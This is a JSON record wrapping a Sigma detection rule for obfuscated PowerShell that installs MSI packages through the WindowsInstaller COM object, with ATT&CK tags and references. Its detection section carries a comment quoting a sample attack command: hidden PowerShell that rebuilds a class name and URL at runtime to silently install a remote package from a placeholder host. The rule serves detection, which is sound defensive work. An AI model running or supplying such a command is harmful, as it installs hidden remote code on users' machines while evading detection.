{"id":"7b6a7418-3afc-11f0-aff4-000d3abf478c","title":"Obfuscated PowerShell MSI Install via WindowsInstaller COM","description":"Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).\nThe technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting\nmalformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection\nby hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with\nhidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.\n","author":"Meroujan Antonyan (vx3r)","status":"experimental","level":"high","date":"2025-05-27","modified":"","tags":["attack.stealth","attack.t1027.010","attack.t1218.007","attack.execution","attack.t1059.001"],"technique_ids":["T1027.010","T1059.001","T1218.007"],"logsource":{"category":"process_creation","product":"windows"},"falsepositives":["Unknown"],"references":["https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/","https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/","https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457"],"source_path":"rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml","source_sha256":"2c03568b9ef6e258ba91f8a5e7644c796ed44e9802833d7282f0b4093ae38a9c","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: Obfuscated PowerShell MSI Install via WindowsInstaller COM\nid: 7b6a7418-3afc-11f0-aff4-000d3abf478c\nstatus: experimental\ndescription: |\n    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).\n    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting\n    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection\n    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with\n    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.\nreferences:\n    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/\n    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/\n    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457\nauthor: Meroujan Antonyan (vx3r)\ndate: 2025-05-27\ntags:\n    - attack.stealth\n    - attack.t1027.010\n    - attack.t1218.007\n    - attack.execution\n    - attack.t1059.001\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Example: \"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -W Hidden -C \"$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')\";\n    selection_img:\n        - Image|endswith:\n              - '\\powershell_ise.exe'\n              - '\\powershell.exe'\n              - '\\pwsh.exe'\n        - OriginalFileName:\n              - 'PowerShell_ISE.EXE'\n              - 'PowerShell.EXE'\n              - 'pwsh.dll'\n    selection_cli:\n        CommandLine|contains|all:\n            - '-ComObject'\n            - 'InstallProduct('\n            - '.Insert('\n            - 'UILevel'\n    condition: all of selection_*\nfalsepositives:\n    - Unknown\nlevel: high\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1027.010","id":"T1027.010","name":"Command Obfuscation","page":"techniques/enterprise/T1027.010/"},{"key":"enterprise/T1059.001","id":"T1059.001","name":"PowerShell","page":"techniques/enterprise/T1059.001/"},{"key":"enterprise/T1218.007","id":"T1218.007","name":"Msiexec","page":"techniques/enterprise/T1218.007/"}],"data_path":"data/detection-rules/7b6a7418-3afc-11f0-aff4-000d3abf478c.json","kind":"sigma"}